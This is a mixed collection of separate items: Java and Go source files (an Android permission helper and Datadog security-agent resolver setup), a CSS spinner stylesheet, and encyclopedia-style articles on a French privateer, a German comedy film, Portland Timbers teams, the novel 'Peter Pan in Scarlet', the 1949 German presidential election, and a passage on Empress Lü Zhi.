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```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package com.yanzhenjie.permission;
import android.os.Build;
import com.yanzhenjie.permission.install.InstallRequest;
import com.yanzhenjie.permission.install.NRequestFactory;
import com.yanzhenjie.permission.install.ORequestFactory;
import com.yanzhenjie.permission.notify.Notify;
import com.yanzhenjie.permission.notify.option.NotifyOption;
import com.yanzhenjie.permission.option.Option;
import com.yanzhenjie.permission.overlay.LRequestFactory;
import com.yanzhenjie.permission.overlay.MRequestFactory;
import com.yanzhenjie.permission.overlay.OverlayRequest;
import com.yanzhenjie.permission.runtime.Runtime;
import com.yanzhenjie.permission.runtime.option.RuntimeOption;
import com.yanzhenjie.permission.setting.Setting;
import com.yanzhenjie.permission.source.Source;
/**
* Created by Zhenjie Yan on 2018/4/28.
*/
public class Boot implements Option {
private static final InstallRequestFactory INSTALL_REQUEST_FACTORY;
private static final OverlayRequestFactory OVERLAY_REQUEST_FACTORY;
static {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
INSTALL_REQUEST_FACTORY = new ORequestFactory();
} else {
INSTALL_REQUEST_FACTORY = new NRequestFactory();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
OVERLAY_REQUEST_FACTORY = new MRequestFactory();
} else {
OVERLAY_REQUEST_FACTORY = new LRequestFactory();
}
}
public interface InstallRequestFactory {
/**
* Create apk installer request.
*/
InstallRequest create(Source source);
}
public interface OverlayRequestFactory {
/**
* Create overlay request.
*/
OverlayRequest create(Source source);
}
private Source mSource;
public Boot(Source source) {
this.mSource = source;
}
@Override
public RuntimeOption runtime() {
return new Runtime(mSource);
}
@Override
public InstallRequest install() {
return INSTALL_REQUEST_FACTORY.create(mSource);
}
@Override
public OverlayRequest overlay() {
return OVERLAY_REQUEST_FACTORY.create(mSource);
}
@Override
public NotifyOption notification() {
return new Notify(mSource);
}
@Override
public Setting setting() {
return new Setting(mSource);
}
}
```
|
Jean Fleury (or Florin) (died 1527) was a French naval officer and privateer. He is best known for the capture of two out of the three Spanish galleons carrying the Aztec treasure of Hernán Cortés from Mexico to Spain and one ship from Santo Domingo in 1522. This was one of the earliest recorded acts of piracy against the new Spanish Empire and encouraged the French Corsairs, Dutch Sea Beggars and English Sea Dogs to begin attacking shipping and settlements in the Spanish Main during the next several decades.
Biography
A French corsair and naval officer from Dieppe in Normandy, Fleury served as a pilot under Jean Ango and commanded a small squadron during the Four Years' War. He was involved in longrange naval warfare, operating as far as 2,000 kilometres from his base with only a few hundred men, and was an active privateer during the conflict. In early 1522, three Spanish ships were sighted off the southwest coast of Portugal, somewhere between the Azores and Cape St. Vincent, and Florin ordered his five-ship squadron to attack. The small Spanish fleet, under Captain Quiñones and Alonso de Ávila, was on the last leg of their journey from Havana, Cuba to Seville, Spain carrying a large gold shipment taken from Hernán Cortés's recent conquest of Mexico and was to be presented as a tribute to Charles V. It is unknown whether Florin was aware of the Spaniard's cargo, however he decided to give chase and overtook them within a few hours.
During the same voyage, Fleury assaulted another ship from Santo Domingo which increased the loot to 20,000 gold pesos, pearls, sugar and cowhides.
Although the Spanish responded to the raid by fortifying nearly all their major ports and cities in the Caribbean, it was only a matter of time before the rest of Europe became aware of the treasure Spain was bringing back from the New World. Besides the gold bullion, among the treasures captured by Florin included exotic animals, enameled gold and jade, ornaments, emeralds, pearls, works of art, masks in mosaic of fine stones and other rare items which were presented to Francis I.
The following year, he and Jean Terrian set out on another expedition against Spain with a fleet of eight ships capturing over 30 Portuguese and Spanish vessels by the end of the year. Fleury was eventually captured by the Spanish and, held captive for a time, was tried in Toledo along with two of his officers, Michel Fere and Mezie de Irizar, and hanged as a pirate in 1527 by Charles V.
After the loss of this treasure, all the ships that traveled from America to Europe did so under escort, originating the system known as the Spanish treasure fleet, which would become habitual in the following decades and centuries.
References
Further reading
Rogozinski, Jan. Pirates!: Brigands, Buccaneers, and Privateers in Fact, Fiction, and Legend. New York: Da Capo Press, 1996.
Solnick, Bruce B. The West Indies and Central America to 1898. New York: Alfred A. Knopf, 1970.
Year of birth missing
1527 deaths
People from Seine-Maritime
French privateers
|
Four for Venice () is a 1998 comedy film directed by Vivian Naefe.
Plot
The film involves two married couples: Nick and Charlotte and Luis and Eva.
Nick and Charlotte are more than busy earning money, there is no time for love or sex - only Tuesdays. Soon, Charlotte finds a lover, Luis, an unsuccessful artist. Luis and Eva also have no time for sex: he must find his inspiration for art and Eva has agreed to give up her own occupation as an artist to support themselves and their 3 and 6 year old kids by working in a restaurant.
The secret affair between Luis and Charlotte lasts quite a while, they decide to spend a romantic week in Venice, Italy, but accidentally Eva finds out about the affair and their destination.
Eva kidnaps Nick on her trip to Venice in order to restore her marriage as well as his. During their stay in Venice, Luis becomes ill and spends the entire week in the bathroom. On their way from Munich, Germany (where the first half of the story takes place) to Venice, Eva's car breaks down somewhere in the Alps, so she, Nick, and her two children are forced to walk and hitchhike the rest of the way.
Nick is allergic to children and continually sneezes but the children grow warm on him, since Eva's no-nonsense attitude forces him to spend a lot of time with them. They arrive in Venice without money, passports, credit cards, their clothes torn and burnt, on a Friday evening, which means that they have to spend the weekend without any support from the German consulate. When they finally meet their respective spouses, things are not quite the same for neither of them.
Main cast
Aglaia Szyszkowitz – Eva
Heino Ferch – Nick
Gedeon Burkhard – Luis
Hilde Van Mieghem – Charlotte
See also
List of German language films
External links
1998 films
1990s German-language films
1998 comedy films
German comedy films
1990s German films
|
```css
@import "../../css/colors.css";
.spinner {
width: 1.25rem;
height: 1.25rem;
display: inline-block;
position: relative;
border-radius: 50%;
border-width: .1875rem;
border-style: solid;
border-color: $ui-white-transparent;
box-sizing: content-box;
}
.spinner::before, .spinner::after {
width: 1.25rem;
height: 1.25rem;
content: '';
border-radius: 50%;
display: block;
}
.spinner::after {
position: absolute;
top: -.1875rem;
left: -.1875rem;
border: .1875rem solid transparent;
border-top-color: $ui-white;
animation: spin 1.5s cubic-bezier(0.4, 0.1, 0.4, 1) infinite;
}
.small {
width: .5rem;
height: .5rem;
}
.small::before, .small::after {
width: .5rem;
height: .5rem;
}
.large {
width: 2.5rem;
height: 2.5rem;
}
.large::before, .large::after {
width: 2.5rem;
height: 2.5rem;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.spinner.success {
border-color: $extensions-transparent;
}
.spinner.success::after {
border-top-color: $extensions-primary;
}
.spinner.warn {
border-color: $error-transparent;
}
.spinner.warn::after {
border-top-color: $error-primary;
}
.spinner.info {
border-color: $ui-white-transparent;
}
.spinner.info::after {
border-top-color: $ui-white;
}
.spinner.primary {
border-color: $looks-transparent;
}
.spinner.primary::after {
border-top-color: $looks-secondary;
}
```
|
```go
// Unless explicitly stated otherwise all files in this repository are licensed
// This product includes software developed at Datadog (path_to_url
//go:build linux
// Package resolvers holds resolvers related files
package resolvers
import (
"context"
"fmt"
"os"
"sort"
"github.com/DataDog/datadog-go/v5/statsd"
manager "github.com/DataDog/ebpf-manager"
"github.com/DataDog/datadog-agent/comp/core/telemetry"
workloadmeta "github.com/DataDog/datadog-agent/comp/core/workloadmeta/def"
"github.com/DataDog/datadog-agent/pkg/process/procutil"
"github.com/DataDog/datadog-agent/pkg/security/config"
"github.com/DataDog/datadog-agent/pkg/security/probe/erpc"
"github.com/DataDog/datadog-agent/pkg/security/probe/managerhelper"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/cgroup"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/container"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/dentry"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/hash"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/mount"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/netns"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/path"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/process"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/sbom"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/selinux"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/syscallctx"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/tags"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/tc"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/time"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/usergroup"
"github.com/DataDog/datadog-agent/pkg/security/resolvers/usersessions"
"github.com/DataDog/datadog-agent/pkg/security/utils"
"github.com/DataDog/datadog-agent/pkg/util/log"
"github.com/DataDog/datadog-agent/pkg/util/optional"
)
// EBPFResolvers holds the list of the event attribute resolvers
type EBPFResolvers struct {
manager *manager.Manager
MountResolver mount.ResolverInterface
ContainerResolver *container.Resolver
TimeResolver *time.Resolver
UserGroupResolver *usergroup.Resolver
TagsResolver tags.Resolver
DentryResolver *dentry.Resolver
ProcessResolver *process.EBPFResolver
NamespaceResolver *netns.Resolver
CGroupResolver *cgroup.Resolver
TCResolver *tc.Resolver
PathResolver path.ResolverInterface
SBOMResolver *sbom.Resolver
HashResolver *hash.Resolver
UserSessionsResolver *usersessions.Resolver
SyscallCtxResolver *syscallctx.Resolver
}
// NewEBPFResolvers creates a new instance of EBPFResolvers
func NewEBPFResolvers(config *config.Config, manager *manager.Manager, statsdClient statsd.ClientInterface, scrubber *procutil.DataScrubber, eRPC *erpc.ERPC, opts Opts, wmeta optional.Option[workloadmeta.Component], telemetry telemetry.Component) (*EBPFResolvers, error) {
dentryResolver, err := dentry.NewResolver(config.Probe, statsdClient, eRPC)
if err != nil {
return nil, err
}
timeResolver, err := time.NewResolver()
if err != nil {
return nil, err
}
tcResolver := tc.NewResolver(config.Probe)
namespaceResolver, err := netns.NewResolver(config.Probe, manager, statsdClient, tcResolver)
if err != nil {
return nil, err
}
var sbomResolver *sbom.Resolver
if config.RuntimeSecurity.SBOMResolverEnabled {
sbomResolver, err = sbom.NewSBOMResolver(config.RuntimeSecurity, statsdClient, wmeta)
if err != nil {
return nil, err
}
}
var tagsResolver tags.Resolver
if opts.TagsResolver != nil {
tagsResolver = opts.TagsResolver
} else {
tagsResolver = tags.NewResolver(config.Probe, telemetry)
}
cgroupsResolver, err := cgroup.NewResolver(tagsResolver)
if err != nil {
return nil, err
}
userGroupResolver, err := usergroup.NewResolver(cgroupsResolver)
if err != nil {
return nil, err
}
if config.RuntimeSecurity.SBOMResolverEnabled {
if err := cgroupsResolver.RegisterListener(cgroup.CGroupDeleted, sbomResolver.OnCGroupDeletedEvent); err != nil {
return nil, err
}
if err := cgroupsResolver.RegisterListener(cgroup.WorkloadSelectorResolved, sbomResolver.OnWorkloadSelectorResolvedEvent); err != nil {
return nil, err
}
}
if err := cgroupsResolver.RegisterListener(cgroup.CGroupDeleted, userGroupResolver.OnCGroupDeletedEvent); err != nil {
return nil, err
}
var mountResolver mount.ResolverInterface
var pathResolver path.ResolverInterface
if opts.PathResolutionEnabled {
// Force the use of redemption for now, as it seems that the kernel reference counter on mounts used to remove mounts is not working properly.
// This means that we can remove mount entries that are still in use.
mountResolver, err = mount.NewResolver(statsdClient, cgroupsResolver, mount.ResolverOpts{UseProcFS: true})
if err != nil {
return nil, err
}
pathResolver = path.NewResolver(dentryResolver, mountResolver)
} else {
mountResolver = &mount.NoOpResolver{}
pathResolver = &path.NoOpResolver{}
}
containerResolver := &container.Resolver{}
processOpts := process.NewResolverOpts()
processOpts.WithEnvsValue(config.Probe.EnvsWithValue)
if opts.TTYFallbackEnabled {
processOpts.WithTTYFallbackEnabled()
}
processResolver, err := process.NewEBPFResolver(manager, config.Probe, statsdClient,
scrubber, containerResolver, mountResolver, cgroupsResolver, userGroupResolver, timeResolver, pathResolver, processOpts)
if err != nil {
return nil, err
}
hashResolver, err := hash.NewResolver(config.RuntimeSecurity, statsdClient, cgroupsResolver)
if err != nil {
return nil, err
}
userSessionsResolver, err := usersessions.NewResolver(config.RuntimeSecurity.UserSessionsCacheSize)
if err != nil {
return nil, err
}
resolvers := &EBPFResolvers{
manager: manager,
MountResolver: mountResolver,
ContainerResolver: containerResolver,
TimeResolver: timeResolver,
UserGroupResolver: userGroupResolver,
TagsResolver: tagsResolver,
DentryResolver: dentryResolver,
NamespaceResolver: namespaceResolver,
CGroupResolver: cgroupsResolver,
TCResolver: tcResolver,
ProcessResolver: processResolver,
PathResolver: pathResolver,
SBOMResolver: sbomResolver,
HashResolver: hashResolver,
UserSessionsResolver: userSessionsResolver,
SyscallCtxResolver: syscallctx.NewResolver(),
}
return resolvers, nil
}
// Start the resolvers
func (r *EBPFResolvers) Start(ctx context.Context) error {
if err := r.ProcessResolver.Start(ctx); err != nil {
return err
}
if err := r.TagsResolver.Start(ctx); err != nil {
return err
}
if err := r.DentryResolver.Start(r.manager); err != nil {
return err
}
if err := r.SyscallCtxResolver.Start(r.manager); err != nil {
return err
}
r.CGroupResolver.Start(ctx)
if r.SBOMResolver != nil {
if err := r.SBOMResolver.Start(ctx); err != nil {
return err
}
}
if err := r.UserSessionsResolver.Start(r.manager); err != nil {
return err
}
return r.NamespaceResolver.Start(ctx)
}
// Snapshot collects data on the current state of the system to populate user space and kernel space caches.
func (r *EBPFResolvers) Snapshot() error {
if err := r.snapshot(); err != nil {
return fmt.Errorf("unable to snapshot processes: %w", err)
}
r.ProcessResolver.SetState(process.Snapshotted)
r.NamespaceResolver.SetState(process.Snapshotted)
selinuxStatusMap, err := managerhelper.Map(r.manager, "selinux_enforce_status")
if err != nil {
return fmt.Errorf("unable to snapshot SELinux: %w", err)
}
if err := selinux.SnapshotSELinux(selinuxStatusMap); err != nil {
return err
}
return nil
}
// snapshot internal version of Snapshot. Calls the relevant resolvers to sync their caches.
func (r *EBPFResolvers) snapshot() error {
// List all processes, to trigger the process and mount snapshots
processes, err := utils.GetProcesses()
if err != nil {
return err
}
// make sure to insert them in the creation time order
sort.Slice(processes, func(i, j int) bool {
procA := processes[i]
procB := processes[j]
createA, err := procA.CreateTime()
if err != nil {
return processes[i].Pid < processes[j].Pid
}
createB, err := procB.CreateTime()
if err != nil {
return processes[i].Pid < processes[j].Pid
}
if createA == createB {
return processes[i].Pid < processes[j].Pid
}
return createA < createB
})
for _, proc := range processes {
ppid, err := proc.Ppid()
if err != nil {
continue
}
pid := uint32(proc.Pid)
if process.IsKThread(uint32(ppid), pid) {
continue
}
// Start with the mount resolver because the process resolver might need it to resolve paths
if err = r.MountResolver.SyncCache(pid); err != nil {
if !os.IsNotExist(err) {
log.Debugf("snapshot failed for %d: couldn't sync mount points: %s", proc.Pid, err)
}
continue
}
// Sync the process cache
r.ProcessResolver.SyncCache(proc)
// Sync the namespace cache
r.NamespaceResolver.SyncCache(pid)
}
return nil
}
// Close cleans up any underlying resolver that requires a cleanup
func (r *EBPFResolvers) Close() error {
// clean up the handles in netns resolver
r.NamespaceResolver.Close()
// clean up the dentry resolver eRPC segment
if err := r.DentryResolver.Close(); err != nil {
fmt.Println(err)
return err
}
return nil
}
```
|
Portland Timbers is a Major League Soccer (MLS) expansion team that began playing in 2011.
Portland Timbers may also refer to:
Portland Timbers 2, the MLS team's top reserve side that plays in USL Pro
Portland Timbers U23s, a developmental squad for the MLS team that plays in the USL Premier Development League
Portland Timbers (1975–82), the original top-flight team that played in the North American Soccer League from 1975 to 1982
Portland Timbers (1985–90), the semi-pro team that played in the Western Alliance Challenge Series, Western Soccer Alliance, Western Soccer League and American Professional Soccer League from 1985 to 1990
Portland Timbers (2001–10), the second division team that played in the A-League, USL First Division and USSF Division-2 Professional League from 2001 to 2010
See also
|
Peter Pan in Scarlet is a 2006 novel by British author Geraldine McCaughrean. It is the official sequel to J. M. Barrie's Peter and Wendy (1911), as it was authorised by Great Ormond Street Hospital, which was granted all rights to the characters and original writings by Barrie in 1929. McCaughrean was selected in 2004 following a competition in which novelists were invited to submit a sample chapter and plot outline for a sequel. Set in 1926, the book continues the story of the Lost Boys, the Darling family, and Peter Pan, during the reign of George V and following World War I.
The book was released internationally on 5 October 2006. The first United Kingdom printing consisted of a standard run of approximately 30,000 copies, and a limited edition of 1,500 copies with a specially printed bookplate, individually numbered and signed by the author. In Britain it was released with a cover illustration and interior silhouettes by David Wyatt, and in the United States with a cover illustration by Tony DiTerlizzi. The US edition features interior silhouette illustrations by Scott M. Fischer. The book was also released in audio format in the UK and US.
Five copies of a special edition, leather bound in a slipcase, were also printed; the author, Great Ormond Street Hospital, Oxford University Press, and HM The Queen (Patron of Great Ormond Street Hospital) each received one of these special edition books. The fifth was auctioned at the book launch.
A new edition, fully illustrated in colour by David Wyatt, abridged by Geraldine McCaughrean for younger readers, was published in the UK in October 2008 by Oxford University Press.
Plot summary
The novel returns to Wendy Darling, her brother John, and Nibs, Slightly, Tootles, the Twins and Curly, who were once Peter Pan's Lost Boys. The six boys were adopted by Mr and Mrs Darling at the end of Peter and Wendy.
John Darling has been having visions about Neverland. The former Lost Boys and Wendy have been having similar dreams, and Wendy realises that bombs from the Great War have punched holes through their world into Neverland, and dreams and ideas are filtering back. Wendy tells the former Lost Boys, now known as Old Boys, that they must find a way to return to Neverland to help Peter Pan restore both worlds to normality. In order to fly, they need fairy dust, so Wendy finds a baby and waits for its first laugh. They come across the fairy Fireflyer, a lying fairy who tells them that in order to get back to Neverland, they must go back to being children. To do this, they must wear their children's clothing. Tootles turns into a girl because he only has daughters. Nibs decides not to join them because he would miss his children too much.
Peter has been dreaming of the Darlings as well, but when they and their Newfoundland puppy (a descendant of Nana from the first book) return to Neverland, he seems indifferent. He does not notice that Nibs is absent, nor that Michael Darling is dead (apparently having died in World War I). He is concerned only with having the best adventure in the world. When the Neverwood catches fire, Peter and company escape the island by way of the Jolly Roger, renamed the Jolly Peter. While on board, Captain Pan discovers the late Captain Hook's second-best coat and finds a treasure map of Neverland in the pocket. Sensing an adventure, he immediately wants to head to the mountain of Neverpeak to claim James Hook's treasure. Peter allows the mysterious circus master Ravello, whose circus has been destroyed in the fire, to join his crew as his valet. Ravello urges Peter to wear the red coat.
During the journey, Peter grows irritable. He develops a harsh cough, and it seems that whenever he wears the coat he is grouchiest. He banishes Fireflyer for eating up the food supply. When he finds that Slightly is growing older, he banishes him as well to Nowhereland, home of all the Long Lost Boys whom Peter has banished in times past.
The hike up Neverpeak is arduous. When the band finally reaches the summit, Peter is impatient to get at the treasure, because he has a feeling there is something inside he wants so much. Inside the treasure chest, each child finds what they have been wishing for on the way up, including Tinker Bell, wished up by Fireflyer, but the gang is puzzled to discover Peter wished for Eton treasures. He looks like a young version of Captain Hook, complete with long black hair and Eton tie. Peter is horrified that he is no longer himself, at the same time that Ravello reveals his true identity as James Hook, who has survived being swallowed up by the crocodile.
Hook seeks revenge and reveals that he served as Peter's valet in order to make the boy be transformed like him when Peter wears Hook's old pirate coat. Hook says that since he is a grown up, he is no longer able to wish, so he needed Peter to wish for the treasures that Hook has wanted all his life. He cut off Peter's shadow so the boy could not fly, combed the imagination out of his hair, and choked him with the white Eton tie. Peter refuses to believe he has become Hook and is horrified. The band is shocked by the revelation.
Hook tries to trick Peter by asking him what he wants to be when he grows up, when Slightly suddenly appears. Slightly, who has been dogging the band's trail all along, warns Peter not to answer, because if he does, he will have betrayed childhood and "looked ahead" to adulthood. Peter feebly banishes Hook to Nowhereland, but to no avail. The league is stuck on the mountain in a blizzard, with no fire and no way to get down. Suddenly Fireflyer appears and, to impress Tinker Bell, plunges into the brush and starts a fire.
Peter has cast off the hated coat, but become cold and ill in his flimsy tunic. He falls to the ground in a coughing fit, and is soon close to death. Tootles insists they need a doctor, so Curly Looks Ahead, growing up and becoming a doctor. He makes an incision over Peter's chest, and draws out a long dusty strand—a strand of common London fog brought in on the children's clothes. With the offending item removed, Peter's health is restored.
Warmed by the fire and heartened by Peter's renewed health, the league finds the courage to descend the mountain. Peter is confronted by the banished Long Lost Boys at the foot of the mountain, where he, John, and Wendy are thrown in quicksand. They manage to pull themselves out, but Ravello has returned with his circus animals. The animals are about to devour Peter and the Explorers, when a band of warring fairies descend and smother the animals. Hook is enraged, and vows to fight the weaponless Peter. The boy is saved by the puppy, which attacks Hook. The latter is about to die, when Wendy sees that he can be healed by sleep. She gives him a goodnight kiss, and tucks him under his tattered red coat.
The children escape without harm, and find a way home with help from Mr. Smee. Peter unwillingly remains on the island, unable to fly until his shadow grows back. Wendy says, "I think your mother only shut the window to keep out the FOG!"
Unbeknown to Peter, sleep restores Ravello as James Hook. The story ends with Hook recalling the past and anticipating revenge.
Characters
Peter Pan - Peter, the One-and-Only Child, has taken up a lonely residence in the abandoned Wendy House. When the Darlings return, he immediately proposes a quest. Finding the Jolly Roger and renaming it the Jolly Peter, he discovers Hook's map of Neverland, showing treasure on top of mount Neverpeak. Peter faces many obstacles along the way, but uses his cleverness to outwit the enemy, until he is nearly turned into Captain Hook because he has donned the pirate's coat. Peter is nearly killed, but is saved by Dr. Curly. At the end of the novel, The Marvelous Boy is shadowless, and confined to the island because he has lost the ability to fly until his shadow grows back.
Wendy Darling - At the start of the novel, the adult Wendy Darling announces they must return to Neverland. Wearing her daughter Jane's clothing, she returns to Neverland and her role as the mother of the Lost Boys. Wendy is a stickler for good manners, and she is also very compassionate, feeling sorry and taking care of even the worst villains. Wendy is banished by Peter for saving the enemy, but she completely disregards her sentence.
Ravello - Ravello is a travelling man, a circus master who set up tent on the island of Neverland. When the island is set on fire, he escapes with his animals to serve as valet to Peter. Ravello is very mysterious - he is clad in a ragged woolen coat, never sleeps, and eats only eggs. It is later revealed that he is none other than Captain Hook, who survived inside the crocodile's stomach, but was mutated by stomach acid into a soft nothing of a man. Ravello is nearly killed by the Darlings' dog, in the act of saving Peter from him. He survives as Hook, thanks to Wendy's good-night kiss.
John Darling - John announces at the start, "I won't go to bed". He is terrified by dreams of Neverland, but later agrees to return there. He tries to be chivalrous throughout the novel. John's manner bears a resemblance to his father George Darling, as when John states "Can't a man be believed in his own house?"
Tootles Darling - As an adult, Tootles is a portly Judge who loves his moustache and believes everything can be solved judicially. Tootles has only daughters, so in order to return to Neverland, he must dress like a girl. This is fine with the young female Tootles, who dreams of becoming a princess and a nurse; she would also love to marry Peter and become Tootles Pan.
Curly Darling - Curly is a thin, sensible doctor when he decides to return to Neverland. When Peter's life is threatened, Curly agrees to become an adult, risking banishment to save the boy. Curly escapes banishment, leaving Neverland on a raft. Dr. Curly takes the family puppy, Nana's descendant, to Neverland. When he returns home, his children chastise him for "growing the puppy".
Slightly Darling - Slightly Darling has become a baronet, but his wife has died and he has no children. He must "go down to the bottom of the bed" as a way to become a child. Slightly has learned clarinet in his adulthood, and his playing saves the League in a crisis. Slightly begins to grow up while on the island, and is banished by Peter, finding his only companion to be the loyal fairy Fireflyer. Slightly helps to save Peter from growing up. When Slightly returns to London, he remains eighteen, and makes a living playing clarinet in a dance band. In this sequel, Slightly is portrayed as shy and gentle.
First and Second Twin Darling - The grown-up Twins live next door to each other in London, each the father of twin boys. When they return to Neverland, they are among the few who avoid banishment by Peter. It is revealed that their actual names are Marmaduke and Binky.
Nibs Darling- Nibs has grown up to work in an office. He completely intended to return to Neverland, but resigned from the group because he could not bear to leave his beloved children.
Fireflyer - Fireflyer, a blue fairy, was born as the result of a baby's laugh in Kensington Garden. He is thoroughly devoted to Slightly, who admired the size of his lies. Fireflyer wishes for Tinker Bell to be alive, and ends up marrying her.
Tinker Bell - Tinker Bell, the fairy whom Wendy and John meet in their first adventure to Neverland, returns as the result of Fireflyer's wishing to meet her. She ends up marrying him at the end of the novel. Both decided to sell dreams to Roamers (ex-lost boys-who were cast out by Peter).
Smee - Smee has returned taking the posts of both first mate and bo'sun. He lives in the underground den, and knows a great deal about Grief Reef and the Maze of Regrets. He leaves the island for London, where he sets up a shop selling souvenirs from Neverland.
Starkey - First mate Starkey has taken control of a steamship, and has reared a group of young Indians for his crew. Starkey launches an unsuccessful attack on the Jolly Peter, and his treasure of 7,284 onions was eaten by Fireflyer.
Adaptations
Radio
A radio adaptation of the book was broadcast on BBC Radio 4 shortly after its release, on 14 October 2006. It starred Robert Glenister as the Narrator, Daniel Mays as Peter Pan, Kate Maberly as Wendy, and Roger Allam as Ravello.
Cast:
Narrator - Robert Glenister
Peter Pan - Daniel Mays
Wendy - Kate Maberly
Ravello - Roger Allam
John - Tom George
Tootles (female) - Robin Weaver
Tootles (male) - Joseph Kloska
Fireflyer - Peter Gunn
Curly - Simon Scardifield
Slightly - Steven Webb
Twin 1 - Damian Lynch
Twin 2 - Paul Richard Biggin
Starkey/Smee/Roarer - Sam Dale
Woman 1/Roarer - Rachel Atkins
Tinker Bell - Emerald O'Hanrahan
Music composed by David Pickvance; producer/director Celia de Wolff
Stage
A stage version of Peter Pan in Scarlet, adapted and directed by Theresa Heskins, opened at the New Vic Theatre in Newcastle-under-Lyme on 23 July 2016; it moved to the Oxford Playhouse in August 2016.
Film
In 2006, a movie adaptation was announced, being produced by a consortium of Headline Pictures, the UK Film Council, and BBC Films. Since then, no additional news has surfaced and, as of 2021, the project's status is unknown.
References
External links
The website of author Geraldine McCaughrean
Newsnight review, BBC Two, 6 October 2006.
Philip Ardagh, "Return to Neverland" (review), The Guardian, 7 October 2006.
Independent on Sunday review
Kate Kellaway, "The ascent of Pan" (review), The Observer, 8 October 2006.
2006 British novels
Books based on Peter Pan
Sequel novels
Oxford University Press books
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An indirect presidential election (officially the 1st Federal Convention) was held on 12 September 1949, following the first Bundestag election of 14 August 1949 and coalition talks/ negotiations between CDU/CSU, FDP and German Party (DP).
The FDP leader Theodor Heuss, who was nominated by CDU/CSU and FDP by agreement of the partners of the ruling coalition, was elected by the Federal Convention (composed of all members of the Bundestag and an equal number of delegates selected by the state legislatures).
Under the 1949 Basic Law, the new office of the Federal President was given fewer powers than the preceding office of Reich President, due to the bad experiences of the past, especially the abuse of emergency powers. Heuss therefore assumed a largely ceremonial role. However, his duties included the nomination of the first Federal Chancellor, Konrad Adenauer. Federal President Heuss took the oath of office in front of Bundestag and Bundesrat the same day of his election, on 12 September 1949.
This was the first German presidential election in post-war Germany and the second indirect election since 1919 that elected Social Democrat Friedrich Ebert as Germany's first President.
1949
1949 elections in Germany
September 1949 events in Europe
Theodor Heuss
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Lü Zhi (241–18 August 180 BC), courtesy name E'xu (娥姁) and commonly known as Empress Lü () and formally Empress Gao of Han (), was the empress consort of Gaozu, the founding emperor of the Han dynasty. They had two known children, Liu Ying (later Emperor Hui of Han) and Princess Yuan of Lu. Lü was the first woman to assume the title Empress of China and paramount power. After Gaozu's death, she was honoured as empress dowager and regent during the short reigns of Emperor Hui and his successors Emperor Qianshao of Han and Liu Hong (Emperor Houshao).
She played a role in the rise and foundation of her husband, Emperor Gaozu, and his dynasty, and in some of the laws and customs laid down by him. Empress Lü, even in the absence of her husband from the capital, killed two prominent generals who played an important role in Gaozu's rise to power, namely Han Xin and Peng Yue, as a lesson for the aristocracy and other generals. In June 195 BC, with the death of Gaozu, Empress Lü became, as the widow of the late emperor and mother of the new emperor, Empress Dowager (皇太后, Huángtàihòu), and assumed a leadership role in her son's administration. Less than a year after Emperor Hui's accession to the throne, in 194 BC, Lü had one of the late Emperor Gaozu's consorts whom she deeply hated, Concubine Qi, put to death in a cruel manner. She also had Concubine Qi's son Liu Ruyi poisoned to death. Emperor Hui was shocked by his mother's cruelty and fell sick for a year, and thereafter no longer became involved in state affairs, and gave more power to his mother. As a result, Empress dowager Lü held the court, listened to the government, spoke on behalf of the emperor, and did everything (臨朝聽政制, "linchao ting zhengzhi"). With the untimely death of her 22-year-old son, Emperor Hui, Empress dowager Lü subsequently proclaimed his two young sons emperor (known historically as Emperor Qianshao and Emperor Houshao respectively). She gained more power than ever before, and these two young emperors had no legitimacy as emperors in history; the history of this 8-year period is considered and recognized as the reign of Empress Dowager Lü. She dominated the political scene for 15 years until her death in August 180 BC, and is often depicted as the first woman to have ruled China. While four women are noted as having been politically active before her—Fu Hao, Yi Jiang, Lady Nanzi, and Queen Dowager Xuan—Lü was the perhaps first woman to have ruled over united China.
Family background and marriage to Liu Bang
Lü Zhi was born in Shanfu County (單父; present-day Shan County, Shandong) during the late Qin Dynasty. Her courtesy name was Exu (). To flee from enemies, her father Lü Wen () brought their family to Pei County, settled there, and became a close friend of the county magistrate. Many influential men in town came to visit Lü Wen. Xiao He, then an assistant of the magistrate, was in charge of the seating arrangement and collection of gifts from guests at a banquet in Lü Wen's house, and he announced, "Those who do not offer more than 1,000 coins in gifts shall be seated outside the hall." Liu Bang (later Emperor Gaozu of Han), then a minor patrol officer (), went there bringing a single cent and said, "I offer 10,000 coins." Lü Wen saw Liu Bang and was so impressed with him on first sight, that he immediately stood up and welcomed Liu into the hall to sit beside him. Xiao He told Lü Wen that Liu Bang was not serious, but Liu ignored him and chatted with Lü. Lü Wen said, "I used to predict fortunes for many people but I've never seen someone so exceptional like you before." Lü Wen then offered his daughter Lü Zhi's hand in marriage to Liu Bang and they were wed. Lü Zhi bore Liu Bang a daughter (later Princess Yuan of Lu) and a son, Liu Ying (later Emperor Hui of Han).
Liu Bang later participated in the rebellion against the Qin Dynasty under the insurgent Chu kingdom, nominally-ruled by King Huai II. Lü Zhi and her two children remained with her father and family for most of the time during this period.
Life during the Chu–Han Contention
In early 206 BC, after the fall of the Qin Dynasty, Xiang Yu divided the former Qin Empire into the Eighteen Kingdoms. Liu Bang was named "King of Han" and given the lands in the remote Bashu region (in present-day Sichuan) as his domain. However, Liu Bang's family, including Lü Zhi and her children, remained in Pei County, which was a territory of Xiang Yu's kingdom of Western Chu.
